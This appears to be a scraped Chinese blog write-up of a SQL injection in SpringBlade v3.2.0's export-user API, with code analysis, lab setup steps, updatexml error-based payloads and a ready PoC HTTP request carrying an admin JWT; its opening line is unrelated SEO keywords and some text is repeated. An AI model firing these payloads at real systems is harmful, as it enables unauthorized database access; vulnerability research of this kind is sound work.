济宁有没有专门做网站的,山西集团网站建设,宁波新亚建设公司网站,wordpress标签样式表漏洞描述
SpringBlade是一个基于Spring Cloud和Spring Boot的开发框架#xff0c;旨在简化和加速微服务架构的开发过程。它提供了一系列开箱即用的功能和组件#xff0c;帮助开发人员快速构建高效可靠的微服务应用。该产品/api/blade-user/export-user接口存在SQL注入。
漏…漏洞描述
SpringBlade是一个基于Spring Cloud和Spring Boot的开发框架旨在简化和加速微服务架构的开发过程。它提供了一系列开箱即用的功能和组件帮助开发人员快速构建高效可靠的微服务应用。该产品/api/blade-user/export-user接口存在SQL注入。
漏洞影响版本
SpringBlade v3.2.0
产品项目地址
SpringBlade: SpringBlade 是一个由商业级项目升级优化而来的微服务架构采用Spring Boot 2.7 、Spring Cloud 2021 等核心技术构建完全遵循阿里巴巴编码规范。提供基于React和Vue的两个前端框架用于快速搭建企业级的SaaS多租户微服务平台。https://gitee.com/smallc/SpringBlade
项目源码下载
SpringBlade 发行版 - Gitee.comhttps://gitee.com/smallc/SpringBlade/releases 漏洞分析
位于包package org.springblade.modules.system.controller;下的UserController 其中有方法 exportUser 该方法引用了QueryWrapper做为sql的查询条件其中MapString, Object user是我们可控的参数
QueryWrapper使得sql语句变成如下这样的形式
SELECT * FROM user WHERE key value AND key value AND is_deleted 0
sql语句中where后面的数据 是我们可控的如此我们尝试构造如下sql语句
SELECT * FROM blade_user WHERE updatexml(1,concat(0x7e,user(),0x7e),1)1;
SELECT * FROM blade_user WHERE 1updatexml(1,concat(0x7e,user(),0x7e),1);
SELECT * FROM blade_user WHERE updatexml(1,concat(0x7e,user(),0x7e),1);
先在本地测试一下 payload可以造成sql注入 补充 这里还要考虑到底层的sql语句是否采用了预编译机制
找寻MyBatis 的 XML 映射文件 exportUser方法 上面的是定义的接口下方是使用xml对接口的实现 。系统采用的${}的方式这不是预编译的机制可以造成sql注入 漏洞环境搭建
{本次踩的坑有点多不想细说了}
本地项目前后端分离下载下面链接的前后端项目
项目源码下载
SpringBlade 发行版 - Gitee.comhttps://gitee.com/smallc/SpringBlade/releases
后端 配置好mysql redis 直接启动
前端 在项目中执行两条命令直接启动
npm install //下载前端所需包
npm start // 启动前端项目
项目搭建有问题的可以看官方参考文档
Wiki - Gitee.comhttps://gitee.com/smallc/SpringBlade/wikis/SpringBlade%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C 漏洞复现
打开环境web 登录页面
在用户管理页面选择导出数据 burp抓包 增加sql注入payload sql语句成功执行漏洞复现成功。
附赠poc GET /api/blade-user/export-user?blade-autheyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwidG9rZW5fdHlwZSI6ImFjY2Vzc190b2tlbiIsImRlcHRfaWQiOiIxMTIzNTk4ODEzNzM4Njc1MjAxIiwiYWNjb3VudCI6ImFkbWluIiwiY2xpZW50X2lkIjoic3dvcmQiLCJleHAiOjE3MDkxMDQyMDcsIm5iZiI6MTcwOTEwMDYwN30.-Nniy1hq-gVtymm1MFWgbAuTOjwiMMheMccrXoIeeL4hbpRqMS2Fbsmf7EiJWBwMqSPX_Us4MAPevRdZVauNEQaccountrealNameupdatexml(1,concat(0x7e,user(),0x7e),1)1 HTTP/1.1 Host: 192.168.116.128:1888 注意blade-auth是必要的 本次测试时只要admin登录情况下这串blade-auth就是可用的 貌似生成不够随机这也算是另一个漏洞了。